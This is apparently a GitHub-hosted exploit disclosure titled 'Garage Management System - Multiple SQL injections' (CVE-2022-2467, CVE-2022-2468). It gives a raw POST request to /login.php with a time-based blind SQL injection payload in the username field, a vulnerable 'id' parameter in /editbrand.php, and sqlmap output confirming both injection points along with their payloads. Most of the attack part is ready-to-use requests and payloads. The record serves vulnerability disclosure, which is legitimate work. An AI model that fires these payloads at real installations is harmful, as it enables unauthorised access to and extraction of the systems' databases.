

🔑 main ▾

...

[CVEproject](#) / [xiahao.webray.com.cn](#) / Garage-Management-System.md



xiahao90 Update Garage-Management-System.md

🕒 History

👤 1 contributor

☰ 47 lines (37 sloc) | 1.61 KB

...

Exploit Title: Garage Management System - Multiple SQL injections

Date: 2022-07/19

Exploit Author: xiahao@webray.com.cn

Vendor Homepage: <https://www.sourcecodester.com>

Software Link: <https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.htm>

Version: 1.0

Tested on: windows10 + phpstudy

1./login.php(CVE-2022-2467)

/login.php SQL injection exists at the login port

Sample request POC #1

```
POST /login.php HTTP/1.1
Host: [TARGET URL/IP]
Content-Length: 41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://shen-ji.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Referer: http://shen-ji.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=coj91b4jkkol1s8oalg3r7in12
Connection: close
```

```
username=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5))))LwLu) AND
'hsvT'='hsvT&password=412312&login=
```

Sqlmap running results

```
[[15:24:17] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 106 HTTP(s) requests:
----
Parameter: username (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: username=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5))))LwLu) AND 'hsvT'='hsvT&password=412312&login=
----
[[15:24:32] [INFO] the back-end DBMS is MySQL
[[15:24:32] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
web application technology: PHP 7.3.4, Nginx 1.15.11
back-end DBMS: MySQL >= 5.0.12
[[15:24:32] [INFO] fetched data logged to text files under 'C:\Users\111\AppData\Local\sqlmap\output\shen-ji.com'
[*] ending @ 15:24:32 /2022-07-19/
```

2./editbrand.php(CVE-2022-2468)

/editbrand.php SQL injection exists for parameter ID

Sample request POC #2

```
http://[ip:port]/editbrand.php?id=1
```

Sqlmap running results

```
[15:18:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:18:50] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests:
---
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 8331 FROM (SELECT(SLEEP(5)))fFeD) AND 'GRCW'='GRCW
---
[15:19:11] [INFO] the back-end DBMS is MySQL
[15:19:11] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential denial of service
```